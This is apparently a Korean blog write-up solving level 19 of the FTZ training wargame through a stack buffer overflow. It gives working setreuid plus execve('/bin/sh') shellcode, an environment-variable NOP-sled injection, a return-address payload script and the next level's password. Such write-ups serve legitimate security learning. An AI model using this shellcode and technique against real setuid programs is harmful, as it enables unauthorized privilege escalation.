Wargame/FTZ

[FTZ]level19

D4tai1 2019. 9. 8.

오늘 안에 끝낼 수 있겠..죠?

 

시작해 볼까요?

 

[그림1] hint 파일 확인

소스가 굉장히 간단합니다!!

좋은데..

 

가만보니 이전까지 있던

setreuid가 없네요?

 

이게 필요한 이유는

Drop Privilege 때문인데요.

Drop privilege는 sh, bash, system()을 실행 시

euid가 아닌 ruid의 권한으로 프로세스를 실행하는 것을 의미합니다.

 

 SetUID가 설정된 파일에서 일시적으로 euid의 권한이 상승되어

중요시스템명령어 사용을 막기 위해서 사용합니다.

 

자세한 내용은 아래 링크를 참조하시면 됩니다.

https://ccurity.tistory.com/176

 

접근권한[퍼미션]

1. 접근권한 1) chmod(Change Mode) 명령어 - 접근권한을 부여 혹은 제거할 수 있는 명령어이다. # chmod [퍼미션] [파일 및 디렉터리] # chmod [대상][조작][종류] [1] 옵션 ▶ -R = 해당 디렉터리의 모든 하위..

ccurity.tistory.com

 

 

그렇다면 우리는 setreuid()를 구현해야겠네요?

 

그럼 권한상승을 위해

level20의 UID를 알아야합니다.

 

[그림2] level20의 UID 확인

cat /etc/passwd | grep level20 을 입력해서

level20의 UID를 확인합니다.

 

shellcode를 만드려면 16진수를 사용하기 때문에

3100은 0xc1c입니다.

 

[그림3] systemcall을 확인하기 위해 unistd.h 경로 찾기

system call 번호를 찾기 위해 

/usr/include/asm/unistd.h를 확인해보겠습니다.

 

[그림4] setreuid의 systemcall 번호

setreuid의 systemcall 번호는 70입니다.

 

[그림5] setreuid의 16진수 값을 확인

setreuid의 systemcall은 0x46 이네요.

 

shellcode를 작성해 봅시다.

[그림6] setreuid(3100, 3100); 의 내용

파일은 /tmp/19_shellcode.s에 작성하였습니다.

혹시나 궁금해 하실 분들을 위해

1) mov %eax, %eax 대신

xor %eax, %eax를 사용하는 이유는?

▶ 바이트 수가 적게 나옵니다.

 

2) 4바이트 레지스터를 사용하지 않고 al, bx, cx를 사용하는 이유는?

 4바이트를 사용할 경우 0x00값이 포함되고

NULL이 포함되면 문자열의 끝으로 판단하기 때문입니다.

 

[그림7] 19_shellcode 바이너리를 생성

헛..!! 19로 찾으니 다른 것도 나오네요..

이 내용을 shellcode로 작성하기 위해

objdump로 디스어셈블 해보려고 합니다.

 

[그림8] objdump로 디스어셈블한 화면

여기서 바이트를 추출해줍니다.

 

"\x31\xc0\xb0\x46\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xcd\x80"

 

이전 레벨에서 진행했던 것과 같이

환경변수에 shellcode를 삽입해보겠습니다.

 

[그림9] 환경변수에 shellcode 삽입

 

export SHELLCODE=$(python -c 

"print '\x90'*100+'\x31\xc0\xb0\x46\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xcd\x80'

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80")

이렇게 적었습니다.

 

위에서 만든 shellcode는

setreuid()의 코드이기 때문에

원래 shellcode로 이어 붙여줍니다.

 

요약하면

setreuid(3100,3100);

execve("/bin/sh", "/bin/sh", NULL);

두 개 함수를 실행하네요.

 

 

SHELLCODE 환경변수의 주소를 알아야겠죠?

 

#include<stdio.h>
#include<stdlib.h>

int main() {
	printf("SHELLCODE : 0x%p \n", getenv("SHELLCODE"));

}

/tmp/19_get_env.c 파일을 하나 생성해 줍니다.

 

[그림10] 환경변수 SHELLCODE의 주소 확인

SHELLCODE의 주소는 0xbffffbe0 군요!!

 

 

[그림11] gdb로 확인

ebp-40의 주소부터 쓰고 있네요.

 

payload를 적어볼까요?

buf(20) + dummy(20) + SFP(4) + RET(4)

로 구성이 되겠네요.

 

import struct

p32 = lambda x:struct.pack('<L',x)

SHELLCODE_ADDR = 0xbffffbe0

payload = p32(SHELLCODE_ADDR)*12

print payload

 

공격스크립트는 위와 같이 작성했습니다.

 

[그림12] 공격스크립트를 이용한 공격

Level20 Password is "we are just regular guys".

'Wargame > FTZ' 카테고리의 다른 글

[FTZ]level20  (0) 2019.09.09
[FTZ]level18  (0) 2019.09.08
[FTZ]level17  (0) 2019.09.08
[FTZ]level16  (0) 2019.09.08
[FTZ]level15  (0) 2019.09.08

댓글